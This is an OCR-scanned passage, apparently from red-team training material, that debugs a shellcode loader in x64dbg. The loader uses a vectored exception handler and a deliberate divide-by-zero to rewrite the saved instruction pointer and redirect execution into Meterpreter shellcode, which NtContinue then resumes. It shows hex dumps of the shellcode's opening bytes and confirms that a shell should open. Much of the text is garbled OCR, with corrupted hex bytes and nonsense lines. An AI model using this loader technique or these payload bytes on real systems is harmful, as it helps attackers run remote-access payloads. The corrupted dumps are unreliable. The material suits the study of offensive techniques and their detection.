0000001F60AFF5B8 o 00 00 OO 00| ..o vivnennnn
0000001F60AFF5c8 [ Follow in Disassembler 00 00 00 00| ....ovvvnennnnn.
0000001F60AFF5D8 I 00 00 OO 00| ..o v vineenn

0000001F60AFF5E8 & _Follow QWORD in Disassembler 00 00 00 00| . ..o oo iiiilll]
0000001F60AFF5F8LH_|U Follow QWORD in Current Dump IOO 00 00 00| v v v ieen
0000001F60AFF608 00 00 00 00| ... v v i e inae
10000NNT1ERNAEERTR P4y Follow QWORD in Dump » 00 00 00 00
Command: [} Follow in Stack

Paused Hardwa% Follow in Memory Map 60AFF578)!

As shown below, the dump view confirms that CONTEXT.Rip was successfully updated to point to the memory
address of our Meterpreter shellcode. The bytes at this address begin with the well-known shellcode prologue FC 48
83 E4, which clearly identifies the start of the shellcode.

BDumpl  @Dump2 @WDump3 @UDump4 @Y Dump5 & watch1 vl locals  °L Str

Address Hex ASCIT

00007FF75D4C1808 [FC 48 83 E4|FO E8 CC 00|00 00 41 51|41 50 52 51|iUH.adeI...AQAPRQ
00007FF75D4c1818 |48 31 D2 56|65 48 88 52|60 48 88 52|18 48 88 52|HLOVeH.R H.R.H.R
00007FF75D4C1828 | 20 48 8B 72|50 4D 31 C9|48 OF B7 4A|4A 48 31 cO| H.rPML1EH.-JJHIA
00007FF75D4C1838 |AC 3C 61 7C|02 2Cc 20 41|cl1 c9 OD 41|01 cl1 E2 ED|—-<al., AAE.A.Aai
00007FF75D4C1848 |52 41 51 48|8B 52 20 8B|42 3C 48 01|p0 66 81 78|RAQH.R .B<H.Pf.x
00007FF75D4c1858 (18 0B 02 OF|85 72 00 00|00 88 80 88|00 00 00 48|..... | H
00007FF75D4C1868 |85 €0 74 67|48 01 DO 50|44 8B 40 20|88 48 18 49| .AtgH.PPD.@ .H.T
00007FF75D4¢1878 |01 DO E3 56|48 FF ¢9 41(88 34 88 48|01 D6 4D 31| .DAVHYEA.4.H.OM1
00007FF75D4C1888 |Cc9 48 31 c0(41 cl1 ¢9 OD|AC 41 01 c1|38 EO 75 F1l| EH1AAAE.-A.A8auf

00007FF75D4C1898 | 4C 03 4C 24|08 45 39 D1|75 D8 58 44|88 40 24 49| L.L$.E9Nu@xD.@$I
NNONNZEEZENAcI8AR 101 NN AA A1 18R N AR A418R AN 1- 49101 n0 41 KR nfa HN @ T DA

Command: |

Paused ‘win32veh.exe: 00007FF75D4C1808 -> 00007FF75D4C1808 (0x00000001 bytes)
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This observation verifies that our VEH handler correctly modified the saved instruction pointer in the CONTEXT
structure. As a result, execution flow has been redirected away from the faulting division-by-zero instruction and is
now set to continue at the shellcode entry point, exactly as intended.

Task: Validating Context Restoration

Finally, we want to verify that context restoration—performed via NtContinue() in ntdll.dll—works correctly and that
execution ultimately transfers to our shellcode.

As shown in the image below, the debugger is still paused at the hardware write breakpoint on CONTEXT.Rip, which we
set to capture the moment CONTEXT.Rip was updated to the shellcode address.

UWDumpl @UDump2 @Dump3 @UDump4 @ Dump5 @& Watch1  Ix=llocals  “L Struct

Address Hex ASCII

00007FF75D4C1808 |FC 48 83 E4|FO E8 CC 00[00 00 41 51|41 50 52 51|UH,d0eI...AQAPRQ
00007FF75D4C1818 |48 31 D2 56|65 48 8B 52|60 48 8B 52|18 48 8B 52|H1OVeH.R H.R.H.R
00007FF75D4C1828 | 20 48 88 72|50 4D 31 c9|48 OF B7 4A|4A 48 31 CO| H.rPM1EH.-JJHIA
00007FF75D4c1838 |AC 3C 61 7¢|02 2c 20 41|cl c9 Op 41|01 ¢l E2 ED|-<a|., AAE.A.A&1i
00007FF75D4c1848 | 52 41 51 48|8B 52 20 8B|42 3C 48 01|D0 66 81 78 RAQH.R .B<H.bf.x
00007FF75D4Cc1858 |18 0B 02 OF|85 72 00 00|00 88 80 88|00 00 00 48|..... | H
00007FF75D4c1868 |85 c0 74 67|48 01 DO 50|44 8B 40 20(8B 48 18 49| .AtgH.DPD.@ .H.I
00007FF75D04c1878 |01 DO E3 56|48 FF c9 41|88 34 88 48|01 D6 4D 31| .PavHyEA.4.H.OM1
00007FF75D4c1888 |c9 48 31 0|41 c1 ¢9 OD|AC 41 01 c1|38 EO 75 F1|EH1AAAE.-A.A8auf

00007FF75D4C1898 | 4C 03 4C 24|08 45 39 D1|75 D8 58 44 (8B 40 24 49|L.L$.E9NU@GXD.@$T
NNNN7EEZENAC1RAR N1 NN AR A1 IRR N AR 44 18R AN 1 490101 nN 41 Rrl nfa Un @ T DA

| Paused INT3 breakpoint at <ntdll.ZwContinue> (00007FFF8182DDFO)! I

As shown below, to resume the execution flow, click the Run button in x64dbg or press F9.

DEBRu sy tal v Phi s L EE
& cpu |2 Log |1l Notes ® Breakpoints  ®# Memory Map )/ Call Stack =% SEH l+#| Script

4¢:8BD1 mov rl0,rcx ZwContinue
B8 43000000 |mov eax,43 43:'cC’
F60425 0803FE test bg%$ ptr ds:[7FFE0308],1
v 75 03 jne nt . 7FFF8182DEO5
005 syscall
c3 ret
CD 2E B 2c
®|00007FFF8182DE07 c3 ret

r10=0
rcx=0000001F60AFF480

.text:00007FFF8182DDF0 ntd11.d11:%$9DDF0 #9D1F0 <zZwContinue>

This will resume the process and hand control back to the loader’s console window. As shown below, we then press
<Enter> in the loader’s console to return from the VEH handler and allow execution to continue—ultimately
transferring control to our shellcode.
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mC:\Users\user\Desktop\ESI\ESI_MateriaI_IVIaster_RedOps\O1 -Loaders\B5-... — O X

3. Press F9 in x6u4dbg to resume execution (it will jump to shellcode). ~

[4] WHAT HAPPENS NEXT? (NtContinue)

You return EXCEPTION_CONTINUE_EXECUTION from VehHandler.

Control returns to ntdll!KiUserExceptionDispatcher.

ntdll calls the syscall NtContinue(ContextRecord, ...).

The Kernel reads the CONTEXT structure (which you just modified).
The Kernel restores all registers from that structure.

Since Rip is now pointing to shellcode, the CPU jumps there.

GoE WM

i R
Press <ENTER> to return from VEH and execute shE'L'Lcode.l

‘ v

As shown below, back in x64dbg we hit the final breakpoint on NtContinue() (also shown as ZwContinue()). This is an
expected and important step in the exception flow: NtContinue() is used to restore execution from the modified
CONTEXT structure and resume the thread with the updated CPU state.

& cru

| 2 Log | || Notes ® Breakpoints  ®# Memory Map [ |/ Call Stack =3 SEH lex| Script '-ﬂ Symbols

4C:8BD1 mov rl0,rcx Zwcontinue |
320D B8 4 MOV eax, a3 T3 C
®||00007FFF8182DDF8 F60425 0803FE test byte ptr ds:[7FFE0308],1
v 75 03 jne ntdl11.7FFF8182DEOS

i @ 00007FFF8182DE02 0F05 h
! ®||00007FFF8182DEQ4 c3 ret
-——>@| 00007FFF8182DEO5 cD 2E B 2

@||00007FFF8182DEQ7 c3 ret

r10=0
rcx=0000001F60AFF480

.text:00007FFF8182DDF0 ntdl1.d11:$9DDF0 #9D1F0 <zZwContinue>

¢WDumpl  @UDump2 @WDump3 @UDump4 EUDump5 @ Watch1l  Ix=llocals  °L Struct

Address Hex ASCII

00007FF75D4C1808 [FC 48 83 E4|FO E8 cC 00|00 00 41 51|41 50 52 51|uUH.&adeI...AQAPRQ
00007FF75D4c1818 (48 31 D2 56|65 48 8B 52|60 48 8B 52|18 48 8B 52|H1OVeH.R H.R.H.R
00007FF75D4C1828 |20 48 8B 72|50 4D 31 €948 OF B7 4A|4A 48 31 CO| H.rPMLlEH.-JJHI1A
00007FF75D4C1838 |AC 3C 61 7C|02 2C 20 41|cl c9 OD 41|01 Cc1 E2 ED| —-<a|., AAE.A.AAi
00007FF75D04C1848 |52 41 51 48|88 52 20 8B|42 3C 48 01 /D0 66 81 78| RAQH.R .B<H.Pf.x
00007FF75D4C1858 |18 0B 02 OF (85 72 00 00|00 8B 80 88|00 00 00 48|.....r......... H
00007FF75D4C1868 |85 cO 74 67|48 01 DO 50|44 8B 40 20|88 48 18 49| .AtgH.DPPD.@ .H.I
00007FF75D4c1878 |01 DO E3 56|48 FF €9 41|88 34 88 48|01 D6 4D 31| .PAVHYEA.4.H.OM1
00007FF75D4C1888 [c9 48 31 c0|41 ¢l c9 OD|AC 41 01 c1|38 EO 75 F1l|EH1AAAE.-A.A8auf

00007FF75D4C1898 |4C 03 4C 24|08 45 39 D1|75 D8 58 44|88 40 24 49|L.L$.E9NuGXD.@ST
NNNN7EE7ENACTRAR I N1 NN AR A1/RR N AR AAI8R AN 1c 4901 nN 41 RR| AfA  un @ T AA

I Paused INT3 breakpoint at <ntdll.ZwContinue> (00007FFF8182DDFQ)! |

At this point, the instruction pointer in the restored context determines where execution continues next. Because our
handler adjusted CONTEXT.Rip to point to our intended target routine, returning through NtContinue() applies that
change and resumes execution at the updated address. In other words, this step confirms that the context restoration
mechanism is working and that our redirection via the CONTEXT snapshot is taking effect.
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At this point, we have completed the debugging process for this loader and verified the full exception-handling flow,
including context restoration via NtContinue().

To continue execution and allow the process to resume normally with the restored CPU context, simply click the Run
button in x64dbg or press F9 multiple times, as shown below. Doing so allows the thread to proceed past
ZwContinue() and resume execution using the modified CONTEXT state.

oE[Rli ¢t 9§ talos2vens AL ERS

&l cru | .+ Log 1l Notes ® Breakpoints  ™& Memory Map [ Call Stack =% SEH |« Script
B—e 4c:8BD1 mov rl0, rcx Zwcontinue
@ 00007FFF8182DDF3 B8 43000000 |mov eax,43 43:'¢c’
@/ 00007FFF8182DDF8 F60425 0803FE test byte ptr ds:[7FFE0308],1
r————@|00007FFF8182DEOO| ~ 75 03 jne ntdl1.7FFF8182DEOS
i ®| 00007FFF8182DE0?2 0FO05 _
; ® 00007FFF8182DEO4 c3 ret
-——>@|00007FFF8182DEQ5 CD 2E B 2c
® 00007FFF8182DEQ7 c3 ret

r10=0
rcx=0000001F60AFF480

.text:00007FFF8182DDF0 ntdl11.d11:3$9DDF0 #9D1F0 <zZwContTinue>

This confirms that the exception-handling flow and execution redirection logic function correctly from start to
finish. Execution then continues at the target address—where the Meterpreter shellcode resides in memory—
specified by the updated instruction pointer, demonstrating that control flow has been successfully redirected as
intended and, in our case, that a Meterpreter shell should have opened.

Summary

Through step-by-step debugging in x64dbg, we verified the full vectored exception-based execution flow
implemented by the Win32VEH loader. We first confirmed that the Vectored Exception Handler (VehHandler) was
registered by placing a breakpoint on RtlAddVectoredExceptionHandler() in ntdll.dll, along with a breakpoint on the
handler routine inside the loader. Hitting RtlLAddVectoredExceptionHandler() confirmed that the loader’s call to the
Win32 API AddVectoredExceptionHandler() (via the kernel32/kernelbase export path) reached the ntdll.dll
implementation and performed the actual VEH registration.

We also configured breakpoints on KiUserExceptionDispatcher() and NtContinue() in advance to observe the later
dispatch and context-restoration stages once an exception was raised. Next, we intentionally triggered a division-by-
zero and observed the debugger stop on a first-chance exception with RIP pointing to the faulting instruction.

Continuing execution reached KiUserExceptionDispatcher() in ntdllL.dll, indicating that the exception was being
delivered back into user mode for handler processing. Execution then transferred into VehHandler(), where we
inspected EXCEPTION_POINTERS and verified that ExceptionRecord->ExceptionAddress matched CONTEXT.Rip and both
correlated to the faulting divide-by-zero instruction in the disassembly.
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To validate redirection, we set a hardware write breakpoint on the memory location holding the CONTEXT.Rip field
and caught the exact moment the handler rewrote the saved RIP to the payload entry point; following the updated
value confirmed it resolved to the shellcode start. Finally, hitting NtContinue() (ZwContinue()) verified that execution

resumed via restoration of the modified CONTEXT, completing the redirection from the faulting instruction to the
Meterpreter payload.
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